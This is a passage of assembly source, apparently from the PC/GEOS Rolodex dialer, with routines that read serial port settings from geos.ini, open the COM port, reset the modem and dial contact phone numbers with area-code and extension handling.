EC< ERROR_NE SPECIFIC_CONSTANT_WRONG ; bad, Brian! >
loop1:
cmp ax, cs:BaudToConst[di] ; is there a match?
je foundBaud ; if so, skip to handle it
add di, 2*(size word) ; if not,
loop loop1 ; check the next entry
jmp short getParity ; if not in table, use default
foundBaud:
mov cx, cs:BaudToConst[di+2] ; we have a match
cmp es:[serialBaud], cx ; save the constant
je getParity
ornf es:[changeFlag], mask SSCF_BAUD ; baud rate is changed
mov es:[serialBaud], cx ; save the constant
getParity:
; check for the parity
mov al, es:[serialFormat]
push ax
mov cx, cs
mov dx, offset parityString ; cx:dx - key string
mov bp, INITFILE_DOWNCASE_CHARS ; allocate a buffer
call InitFileReadString ; string buffer handle => BX
jc getWordLength ; if not found, skip
jcxz noParity
; if found, get the parity
call MemLock ; lock the string buffer
push es ; save core block
mov es, ax
SBCS < mov bp, (size char) ; ES:BP points to the 2nd char>
DBCS < mov bp, (size wchar) ; ES:BP points to the 2nd char>
mov al, SP_NONE shl (offset SF_PARITY)
LocalCmpChar es:[bp], 'o' ; check for o in "none"
je setParity
mov al, SP_ODD shl (offset SF_PARITY)
LocalCmpChar es:[bp], 'd' ; check for d in "odd"
je setParity
mov al, SP_EVEN shl (offset SF_PARITY)
LocalCmpChar es:[bp], 'v' ; check for v in "even"
je setParity
mov al, SP_ONE shl (offset SF_PARITY)
LocalCmpChar es:[bp], 'n' ; check for n in "one"
je setParity
mov al, SP_ZERO shl (offset SF_PARITY)
setParity:
pop es ; es - core block
noParity:
call MemFree ; free the buffer in BX
and es:[serialFormat], not mask SF_PARITY ; clear the old parity
or es:[serialFormat], al ; set the new parity
getWordLength:
; check for word length
mov cx, cs
mov dx, offset wordLenString ; cx:dx - key string
call InitFileReadInteger ; integer value => AX
jc getStopBits ; if not found, skip
; if found, get the word length
sub al, 5 ; 5 =>0, 6=>1, etc...
and es:[serialFormat], not mask SF_LENGTH ; clear old word length
mov cl, offset SF_LENGTH
shl al, cl ; put value into correct pos.
or es:[serialFormat], al ; set new word length
getStopBits:
; check for stop bits
mov cx, cs
mov dx, offset stopBitsString ; cx:dx - key string
mov bp, INITFILE_INTACT_CHARS ; allocate a buffer
call InitFileReadString ; string buffer handle => BX
jc quit ; if no key, then done
; if found, get the stop bits
cmp cx, 1 ; only one character ??
je exit ; if so, exit
or es:[serialFormat], mask SF_EXTRA_STOP ; else set the stop bit
exit:
call MemFree ; free the buffer in BX
quit:
pop ax
cmp es:[serialFormat], al
je noChange3
ornf es:[changeFlag], mask SSCF_FORMAT ; serial format changed
noChange3:
ret
SetSerialPart1 endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetSerialPart2
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reads in more serial port information from geos.ini file
CALLED BY: ReadIniFile
PASS: ds:si - category string
es - segment address of core block
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp, si, di, ds
PSEUDO CODE/STRATEGY:
Check for handshaking string
If found, assign new handshaking info
If hardware flow control is set
Check for stop remote string
If found, assign new Serial Modem Setting
Check for stop local string
If found, assign new Serial Modem Status Setting
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 4/13/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetSerialPart2 proc near
; check for handshake infomation
mov cx, cs
mov dx, offset handShakeString ; cx:dx - key string
mov bp, INITFILE_DOWNCASE_CHARS ; allocate a buffer
call InitFileReadString ; string buffer handle => BX
LONG jc exit ; if not found, exit
jcxz noChange
; if found, get the handshake info
call MemLock ; lock the string buffer
push es ; save core block
mov es, ax
clr di ; ES:DI points to the string
mov ah, SM_COOKED ; assume cooked mode
LocalCmpChar es:[di], 'n' ; check for n in "none"
jne setHandshake ; skip, if not found
mov ah, SM_RAW ; no flow control
setHandshake:
; check to see if we have to set hardware handshake
push cx, di ; save # of chars in buffer
DBCS < push ax ; save ah. for scansw >
LocalLoadChar ax, 'h' ; character to search for
LocalFindChar ; search for h in 'hardware'
DBCS < pop ax ; ah <- serialHS >
clr dx
tst cx ; is 'h' found?
je software ; if no, check for 'software'
ornf dx, mask SFF_HARDWARE ; if yes, set hardware flag
software:
pop cx, di ; cx - # of chars in buffer
; check to see if we have to set software handshake
DBCS < push ax ; save ah. for scansw >
LocalLoadChar ax, 's' ; character to search for
LocalFindChar ; search for 's' in 'software'
DBCS < pop ax ; ah <- serialHS >
tst cx ; is 's' found?
je done ; if no, skip
ornf dx, mask SFF_SOFTWARE ; if yes, set software flag
done:
pop es ; es - core block
mov es:[serialHS], ah ; assign new serial mode flag
cmp es:[serialFlow], dx ; assume no hardware flow ctrl
je noChange
ornf es:[changeFlag], mask SSCF_FLOW ; serial flow changed
mov es:[serialFlow], dx ; assume no hardware flow ctrl
noChange:
call MemFree ; free the buffer in BX
; check for Stop Remote
mov cx, cs
mov dx, offset remoteString ; cx:dx - key string
mov bp, INITFILE_DOWNCASE_CHARS ; allocate a buffer
call InitFileReadString ; string buffer handle => BX
jc getLocal ; if not found, skip
jcxz noRemote
; if found, get which options are set
call MemLock ; lock the string buffer
push es ; save core block
mov es, ax
clr di ; ES:DI points to the string
LocalLoadChar ax, C_CR ; ax - character to search for
LocalFindChar ; search for carriage return
mov al, mask SMC_RTS or mask SMC_DTR
tst cx ; are there two entries?
jne setRemote ; if so, skip
clr di ; reinitialize offset
mov al, mask SMC_RTS ; assume RTS
LocalCmpChar es:[di], 'd' ; is DTR enabled?
jne setRemote ; if not, skip
mov al, mask SMC_DTR ; set DTR
setRemote:
pop es ; es - core block
mov es:[serialModem], al ; assign new modem setting
noRemote:
call MemFree ; free the buffer in BX
getLocal:
; check for Stop Local
mov cx, cs
mov dx, offset localString ; cx:dx - key string
mov bp, INITFILE_DOWNCASE_CHARS ; allocate a buffer
call InitFileReadString ; string buffer handle => BX
jc exit ; if not found, exit
jcxz noLocal
; if found, get which options are set
call MemLock ; lock the string buffer
push es ; save core block
mov es, ax
clr di ; ES:DI points to the string
mov al, mask SMS_CTS or mask SMS_DCD or mask SMS_DSR
segmov ds, cs
mov si, offset ctsString ; ds:si - 'cts'
mov cx, 3 ; cx - # of chars to compare
call SearchString2 ; search for this string
jc checkDCD ; if found, skip
andnf al, not mask SMS_CTS ; if not found, clear this flag
checkDCD:
mov si, offset dcdString ; ds:si - 'dcd'
mov cx, 3 ; cx - # of chars to compare
call SearchString2 ; search for this string
jc checkDSR ; if found, skip
andnf al, not mask SMS_DCD ; if not found, clear this flag
checkDSR:
mov si, offset dsrString ; ds:si - 'dsr'
mov cx, 3 ; cx - # of chars to compare
call SearchString2 ; search for this string
jc setLocal ; if found, skip
andnf al, not mask SMS_DSR ; if not found, clear this flag
setLocal:
pop es ; es - core block
mov es:[serialModemStatus], al ; assign new modem status
noLocal:
call MemFree ; free the buffer in BX
exit:
ret
SetSerialPart2 endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SearchString2
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Searches for a word in a string
CALLED BY: UTILITY (private to this file)
PASS: ds:si - word to search for
es:di - string to search
cx - length of the search word
RETURN: carry clear if no match is found
carry set if a match is found
DESTROYED:
PSEUDO CODE/STRATEGY:
repeat:
String compare ds:si to es:si.
If matches, great, return carry set.
Advance es:si one character.
while( es:[di] != C_NULL ).
return carry clear, ie didn't match.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Doesn't handle words that start with wild card characters.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 1/8/90 Initial version
witt 1/21/94 DBCS-ized, string case exact.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SearchString2 proc near
push ax
mainLoop:
call LocalCmpStringsNoCase ; compare the strings
je match ; exit if they match
LocalNextChar esdi ; post-incr
LocalGetChar ax, esdi, noAdvace ; if not, check the next string
LocalIsNull ax ; are we end of string?
jne mainLoop ; if not, continue..
clc ; no match
jmp exit
match:
stc ; match found
exit:
pop ax
ret
SearchString2 endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OpenComPort
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Open the port and set buffer sizes, etc.
CALLED BY: UTILITY
PASS: serialPort - usable com port number (default is SERIAL_COM1)
serialBaud - modem baud rate (default is 2400)
RETURN: carry set if error openning port
DESTROYED: ax, bx, cx, dx, si, di
PSEUDO CODE/STRATEGY:
Get com port to open up from 'geos.ini' file
If none defined, use default com port - com one
Open up this port
Exit with carry set if error
Set various modem settings
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 1/29/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OpenComPort proc far
call InitFileGetTimeLastModified ; get last modification time
cmp ds:[lastModified], cx ; is .ini file modified?
jne readIni ; if so, read in .ini file
cmp ds:[lastModified+2], dx ; is .ini file modified?
jne readIni ; if so, read in .ini file
; if cx and dx are zeroes, then .ini file has never been read,
; so go ahead and read it
tst cx
jne dontRead
tst dx
jne dontRead
readIni:
mov ds:[lastModified], cx
mov ds:[lastModified+2], dx
call ReadIniFile ; read in geos.ini file
dontRead:
cmp ds:[portOpen], NO_MODEM ; has modem been configured?
LONG je error2 ; if not, put up an error box
cmp ds:[portOpen], PORT_OPEN ; is serial port already open?
jne open ; if not, open
test ds:[changeFlag], mask SSCF_PORT ; is port number changed?
je checkFormat ; if not, skip
call CloseComPort ; close old serial port
mov bx, ds:[newPortNum] ; bx - new serial port number
mov ds:[serialPort], bx ; open this serial port
jmp short open2
open:
test ds:[changeFlag], mask SSCF_PORT ; is port number changed?
je open2 ; if not, skip
mov bx, ds:[newPortNum] ; bx - new serial port number
mov ds:[serialPort], bx ; open this serial port
open2:
mov bx, ds:[serialPort] ; bx - port to use
mov ax, mask SOF_NOBLOCK ; don't block if port in use
mov cx, SERIAL_IN_SIZE ; size of serial input buffer
mov dx, SERIAL_OUT_SIZE ; size of serial output buffer
CallSer DR_STREAM_OPEN ; open the port - carry updated
jnc noError ; exit if error
cmp ax, STREAM_DEVICE_IN_USE ; is serial port busy?
LONG jne quit ; if not, put up an error box
jmp error ; and put up an error box
noError:
mov bx, ds:[serialPort] ; set port to use
mov ax, StreamNotifyType<1, SNE_DATA, SNM_ROUTINE>
; ax - set some flags
mov dx, offset CheckInput ; call CheckInput every time
GetResourceSegmentNS CheckInput, es ; there is a new character
mov cx, es ; cx:dx - notification routine
mov bp, ds ; pass dgroup in bp
CallSer DR_STREAM_SET_NOTIFY ; set the stream read mode
checkFormat:
cmp ds:[portOpen], PORT_OPEN ; is serial port already open?
jne setFormat ; if not, open
test ds:[changeFlag], mask SSCF_BAUD or mask SSCF_FORMAT or \
mask SSCF_FLOW ; has the baud rate changed?
je skip ; if not, skip
setFormat:
mov cx, ds:[serialBaud] ; cx - baud rate to set modem at
mov ah, ds:[serialHS] ; ah - serial mode record
mov al, ds:[serialFormat] ; al - serial format record
mov bx, ds:[serialPort] ; set port to use
CallSer DR_SERIAL_SET_FORMAT ; set these flags
jc exit
cmp ds:[portOpen], PORT_OPEN ; is serial port already open?
jne setModem ; if not, open
test ds:[changeFlag], mask SSCF_FLOW ; has flow control changed?
je skip ; if not, skip
setModem:
; Assert DTR and RTS so the modem will talk to us
; DON'T HAVE TO DO THIS ANYMORE, SINCE SERIAL DRIVER
; DOES IT AUTOMATICALLY WHEN IT OPENS THE COM PORT.
;mov bx, ds:[serialPort] ; set port to use
;mov al, ds:[serialModem] ; al - serial modem record
;CallSer DR_SERIAL_SET_MODEM ; set modem
test ds:[serialFlow], mask SFF_HARDWARE ; hardware flow control?
je skip ; if not, skip
mov bx, ds:[serialPort] ; set port to use
mov cl, ds:[serialModem] ; cl - stop remote
mov ch, ds:[serialModemStatus] ; ch - stop local
mov ax, ds:[serialFlow] ; ax - flow control flag
CallSer DR_SERIAL_SET_FLOW_CONTROL
skip:
mov ds:[portOpen], PORT_OPEN ; clear the flag
clc ; exit with no error
exit:
clr ds:[changeFlag] ; clear change flag
ret
quit:
;mov ds:[serialPort], NO_PORT ; no port is open
error:
mov bp, ERROR_PORT_IN_USE ; bp - error message number
jmp short errorBox
error2:
mov bp, ERROR_NO_MODEM ; bp - error message number
errorBox:
call DisplayErrorBox ; put up a warning box
stc ; exit with error
jmp short exit
OpenComPort endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DialUp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This is the routine that actually dials the given number.
CALLED BY: (GLOBAL) RolodexDial, RolodexQuickButton
PASS: nothing
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp, si, di, es
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 1/29/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DialUp proc far
class RolodexClass
; locate the string to display
GetResourceHandleNS DialingText, bx ; bx - handle of object
call MemLock ; lock the resource blk
push bx ; save handle of resource blk
push ds ; save seg addr of core blk
mov ds, ax ; ds - seg addr of resource blk
mov si, offset DialingText ; si - chunk handle of text
mov si, ds:[si] ; ds:si - ptr to the string
mov dx, ds
mov bp, si ; dx:bp - ptr to the string
clr cx ; the string is null terminated
mov si, offset DialingMsg
GetResourceHandleNS DialingMsg, bx ; bx:si - OD of text display obj
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; add the text to dialogue box
pop ds ; restore seg addr of core blk
pop bx ; restore handle of resource blk
call MemUnlock ; unlock the resource block
mov si, offset InstMsg
GetResourceHandleNS InstMsg, bx ; bx:si - OD of text display obj
call ClearTextField ; clear this text edit field
mov si, offset DialSummons ; bx:si - OD of dialog box
GetResourceHandleNS DialSummons, bx
mov ax, MSG_GEN_SET_USABLE ; make the summons usable
mov dl, VUM_NOW ; VisUpdateMode => DL
clr di ; not a call
call ObjMessage
; bring up the dialog box
mov ax, MSG_GEN_INTERACTION_INITIATE
mov di, mask MF_FIXUP_DS
call ObjMessage ; make the dialog box appear
call PreparePhoneCall ; prepare modem for a call
jc exit ; if error, put up error msg
DBCS < push ds >
call DialTheNumber ; dial given number
DBCS < pop ds >
jnc done ; if no error, exit
exit:
; locate the string to display
GetResourceHandleNS ModemErrorText, bx ; bx - handle of resource blk
call MemLock ; lock the resource block
push bx ; save handle of resource block
push ds ; save seg addr of core block
mov ds, ax ; ds - seg addr of resource blk
mov si, offset ModemErrorText ; si - chunk handle of text
mov si, ds:[si] ; ds:si - ptr to string
mov dx, ds
mov bp, si ; dx:bp - ptr to string
clr cx ; the string is null terminated
mov si, offset DialingMsg
GetResourceHandleNS DialingMsg, bx ; bx:si - OD of text display obj
mov ax, MSG_VIS_TEXT_APPEND
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; display the error message
pop ds ; restore seg addr of core block
pop bx ; restore handle of resource blk
call MemUnlock ; unlock the resource block
clc ; return with no error
done:
ret
DialUp endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PreparePhoneCall
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Reset the modem and set it to non-echo, numeric result mode.
CALLED BY: DialUp
PASS: serialPort - serial port to talk to
RETURN: carry set if there was an error
carry clear otherwise
DESTROYED: ax, bx, cx, dx, si, di, es
PSEUDO CODE/STRATEGY:
Reset the modem
Turn echoing off
Numeric result code on
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 3/7/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PreparePhoneCall proc near
mov ax, STREAM_READ ; affect only stream read
mov bx, ds:[serialPort] ; bx - serial port to write to
CallSer DR_STREAM_FLUSH ; flush the stream buffer
; is 'reset the modem before dialing option' set?
mov si, offset DialingOptions ; bx:si - OD of list entry
GetResourceHandleNS DialingOptions, bx
mov cx, mask DOF_RESET ; cx - identifier
mov ax, MSG_GEN_BOOLEAN_GROUP_IS_BOOLEAN_SELECTED
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage ; get the state of check box
jnc exit ; if off, exit
; reset the modem before dialing
mov ds:[offsetInput], offset inputBuffer
; init. offset into inputBuf
mov si, offset resetCommand ; ds:si - string to write
mov cx, 4 ; cx - # of bytes in string
mov bx, ds:[serialPort] ; bx - serial port to write to
mov ax, STREAM_BLOCK
CallSer DR_STREAM_WRITE ; reset the modem
jc exit ; if error, exit
mov ax, 300 ; wait 5 seconds
call TimerSleep ; for modem to respond
; DON'T CHECK FOR OK - ted 2/21/93
clc ; exit with no error
exit:
ret
PreparePhoneCall endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DialTheNumber
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sends the dial command and actual phone numbers to modem.
CALLED BY: DialUp
PASS: fieldHandles - handle of data block with phone number
fieldLengths - length of phone number
RETURN: carry set if error
DESTROYED: ax, bx, cx, si, di, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
How should postpended phone number be handled?
REVISION HISTORY:
Name Date Description
---- ---- -----------
Ted 1/29/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DialTheNumber proc near
clr ds:[inputBuffer] ; clear the input buffer
mov ds:[offsetInput], offset inputBuffer
; init. offset into inputBuf
mov si, offset dialCommand ; ds:si - string to write
tst ds:[toneType] ; is it a touch phone?
js touch ; if so, skip
mov si, offset dialCommand2 ; if not, send ATDP instead
touch:
mov cx, 4 ; cx - # of bytes to write
mov bx, ds:[serialPort] ; bx - serial port to write to
mov ax, STREAM_BLOCK
CallSer DR_STREAM_WRITE ; send dial commands
LONG jc exit ; if error, exit
test ds:[phoneFlag], mask PF_CONFIRM ; confirm box required?
je noConfirm ; if not, skip
; if so, get the phone number to display inside the confirm box
mov bx, ds:[phoneHandle]
tst bx ; is there a number to display?
LONG je exit ; if none, just exit
call MemLock ; if so, lock this block
mov ds:[phoneNoBlk], ax ; save the seg address
jmp common ; jump to display this number
noConfirm:
; read in the phone number into a memory block
call GetPhoneNumber
common:
; write out the phone number to the com port
segmov es, ds
mov ax, es:[phoneNoBlk]
mov ds, ax ; ds - seg addr of mem block
clr si ; ds:si - ptr to phone number
mov cx, es:[phoneOffset] ; cx - number of bytes to write
if DBCS_PCGEOS
; must convert phone # from unicode to ascii
call DialPhoneNoGeosToDos ; bx <- handle, ds <- seg
; cx <- # of bytes to write
push bx ; SBCS converted string handle
endif
push si
mov ax, STREAM_BLOCK
mov di, DR_STREAM_WRITE ; dial the phone number
mov bx, es:[serialPort] ; bx - serial port to write to
push cx ; cx - number of bytes to write
call es:serialDriver ; make a call to serial driver
pop cx ; cx - number of bytes to write
pop si
if DBCS_PCGEOS
lahf ; save error flag from serial
; do clean up for DialPhoneNoGeosToDos
pop bx ; bx - mem handle
call MemFree ; free mem
sahf
endif
LONG jc exit ; exit if serial error
; append the phone number to the dialog box
mov dx, es:[phoneNoBlk] ; dx - seg addr of string
clr bp ; dx:bp - string to append
mov cx, es:[phoneOffset] ; cx - number of bytes to append
DBCS < shr cx, 1 ; cx - # of chars >
mov si, offset DialingMsg
GetResourceHandleNS DialingMsg, bx ; bx:si - OD of text display obj
mov ax, MSG_VIS_TEXT_APPEND
mov di, mask MF_CALL
call ObjMessage ; display the phone number
mov bx, es:[phoneHandle] ; bx - handle of phone block
call MemFree ; free this data block
; locate the string to display and display it
GetResourceHandleNS InstructionText, bx ; bx - handle of resource
call MemLock ; lock the resource block
push bx ; save handle of resource block
mov ds, ax ; ds - seg addr of resource blk
mov si, offset InstructionText ; si - chunk handle of text
mov si, ds:[si] ; ds:si - ptr to string
mov dx, ds
mov bp, si ; dx:bp - ptr to string
clr cx ; the string is null terminated
mov si, offset InstMsg
GetResourceHandleNS InstMsg, bx ; bx:si - OD of text display obj
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
mov di, mask MF_CALL
call ObjMessage ; display the instruction
pop bx ; restore handle of resource blk
call MemUnlock ; unlock the resource block
; start the timer
segmov ds, es
mov ax, TIMER_ROUTINE_ONE_SHOT
mov cx, 1800 ; wait 30 seconds
GetResourceHandleNS DialSummons, dx ; bx - handle of dialog box
mov si, offset TimedOut
GetResourceSegmentNS TimedOut, es
mov bx, es ; bx:si - notification routine
call TimerStart ; start the timer
mov ds:[timerID], ax
mov ds:[timerHandle], bx ; save the handle and ID
clc ; return with no error
exit:
ret
DialTheNumber endp
if DBCS_PCGEOS
COMMENT &%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DialPhoneNoGeosToDos
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create MemBlock that contains PhoneNO in ASCII
CALLED BY: (INTERNAL) DialTheNumber (only called in DBCS version)
PASS: ds - seg addr of memblk which has phone # in unicode
cx - string size (number of bytes in the block)
RETURN: ds - seg addr of memblk which has phone # in ascii
bx - mem handle of memblk which has phone # in ascii
DESTROYED: ax
KNOWN BUGS/SIDE EFFECTS/IDEAS:
STRATEGY/OUTLINE:
Since phone # that modems accept should be ASCII all over the world,
we trim the high byte. This code blindly send down chars, since
the user may have embeeded modem commands in them.
REVISION HISTORY:
Name Date Description
---- ---- -----------
owa 12/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&
DialPhoneNoGeosToDos proc near
uses es, si, di
.enter
; create a new memory block
SBCS< push cx ; return SBCS string size >
mov ax, cx ; ax - size of mem block
shr ax ; ax - phone number string length
DBCS< push ax ; return SBCS string size >
push ax ; save # for later use
inc ax ; ax - size of new mem block
inc ax ; ax - size of new mem block
mov cx, (HAF_STANDARD_NO_ERR_LOCK shl 8) or 0 ; HeapAllocFlags
call MemAlloc ; allocate a block
mov es, ax
; copy only low byte to new block
clr si, di ; ds:si <- src
; es:di <- dest
pop cx ; # of chars to copy
copyLoop:
lodsw ; Get a Unicode char
stosb ; .. store an ASCII char
loop copyLoop
mov {char} es:[di], 0 ; single byte null terminate
segmov ds, es, ax ; ds - seg addr fo new blk
pop cx ; return SBCS string size.
.leave
ret
DialPhoneNoGeosToDos endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetPhoneNumber
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Grab the phone number to display on the phone dial dialog box.
CALLED BY: DialTheNumber
PASS: ds - dgroup
RETURN: phoneNoBlk - seg addr of mem block that contains phone number
phoneOffset - offset into the mem block
DESTROYED: ax, bx, cx, dx, si, di, bp, es
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Under DBCS, the phone number returned is DBCS. Other code
converts it to SBCS for transmission to the serial port.
REVISION HISTORY:
Name Date Description
---- ---- -----------
ted 3/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetPhoneNumber proc far
mov ax, STANDARD_MEM_BLOCK_SIZE ; ax - size of mem block
mov cx, (HAF_STANDARD_NO_ERR_LOCK shl 8) or 0 ; HeapAllocFlags
call MemAlloc ; allocate a block
mov ds:[phoneNoBlk], ax ; save seg addr of this data block
mov ds:[phoneHandle], bx ; save handle of this data block
clr ds:[phoneOffset] ; offset to phone number block
mov bx, ds:fieldHandles[TEFO_PHONE_NO] ; bx - handle of phone # block
call MemLock ; lock this data block
call GetAreaCode ; grab the area code to display
; ds:si - phone #
mov bp, ds ; bp - seg addr of phone # blk
; Plow thru phone number looking for an "E" or "X"; these chars
; start an extension.
;
push si ; save phone # ptr
GetResourceHandleNS ExtensionString, bx
call MemLock ; lock the block
mov es, ax ; set up the segment
mov di, offset ExtensionString ; handle of error messages
mov di, es:[di] ; dereference the handle
miniLoop:
if DBCS_PCGEOS
lodsw
cmp ax, {word} es:[di] ; check for 'E'
je extension
cmp ax, {word} es:[di+2] ; check for 'e'
je extension
cmp ax, {word} es:[di+4] ; check for 'X'
je extension
cmp ax, {word} es:[di+6] ; check for 'x'
je extension
tst ax
jne miniLoop
else
mov al, ds:[si]
inc si
cmp al, es:[di] ; check for 'E'
je extension
cmp al, es:[di+1] ; check for 'e'
je extension
cmp al, es:[di+2] ; check for 'X'
je extension
cmp al, es:[di+3] ; check for 'x'
je extension
tst al
jne miniLoop
endif
extension:
GetResourceHandleNS ExtensionString, bx
call MemUnlock ; unlock the block
mov cx, si
pop di ; copy phone number ptr
push di
sub cx, di ; cx - number of bytes to copy
LocalPrevChar dssi ; si - disregard the null term.
SBCS< mov {char} ds:[si], C_CR ;add carriage return at the end >
DBCS< mov {wchar} ds:[si], C_CR ;add carriage return at the end >
pop si ; ds:si - ptr to string to write
GetResourceSegmentNS dgroup, es ; es - seg address of dgroup
mov ax, es:[phoneNoBlk] ; ax - seg addr of phone block
mov di, es:[phoneOffset]
push es
mov es, ax ; es:di - destination block
rep movsb ; copy the string
pop ds
mov ds:[phoneOffset], di ; update the offset
ret
GetPhoneNumber endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetAreaCode
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Does a little bit of error checking for the area code.
CALLED BY: GetPhoneNumber
PASS: ax - seg addr of mem block with phone number
RETURN: ds:si - pointer to the phone number with new area code
DESTROYED: ax, bx, cx, dx, di
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Assumes that all area codes are placed within '()'
Assumes that all international phone numbers start with '+'
Assumes that the phone number string is null terminated.
REVISION HISTORY:
Name Date Description
---- ---- -----------
ted 3/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetAreaCode proc near
uses es
.enter
mov ds, ax ; ds - seg addr of data block
push ds
clr si ; ds:si - phone number string
loop1:
LocalGetChar ax, dssi ; get a character
LocalIsNull ax ; is string end?
jz assumed ; get the assumed area code
call CheckForNumber ; is it a number?
jnc assumed ; if so, no area code
LocalCmpChar ax, '+' ; international phone number?
LONG je done ; if so, just exit
LocalCmpChar ax, '(' ; phone number w/ area code?
jne loop1 ; if not, skip
push si ; si - beg of area code number
loop2:
LocalGetChar ax, dssi ; get a charater
LocalIsNull ax ; is string end?
jz endString
LocalCmpChar ax, ')' ; end of area code?
jne loop2 ; if not, continue
endString:
mov cx, si ; cx - end of area code number
pop si
sub cx, si ; cx - # of bytes in area code
LocalPrevChar dscx
; read in the area code from the phone option dialog box
push cx, si
GetResourceHandleNS CurrentAreaCodeField, bx
mov si, offset CurrentAreaCodeField ; bx:di - OD of area code field
call GetTextInMemBlockNoFixup ; read in text string
tst cx ; is there any text?
pop cx, si ; restore size, start
je done ; if not, exit (length = 0)
mov bx, ax ; bx - handle of text block
call MemLock ; lock this data block
mov es, ax ; es - seg addr of data block
clr di ; es:di - ptr to string
DBCS< shr cx, 1 ; # chars to compare >
call LocalCmpStringsNoSpaceCase ; do area codes match?
je free ; if so, just exit
; Area code is different than current. We need to dial the
; the area code in this case. Prepend the prefix from the
; phone option dialog box.
clr si ; ds:si - ptr to current AC
call MemFree ; delete the data block
GetResourceHandleNS PrefixField, bx
mov si, offset PrefixField ; bx:di - OD of prefix field
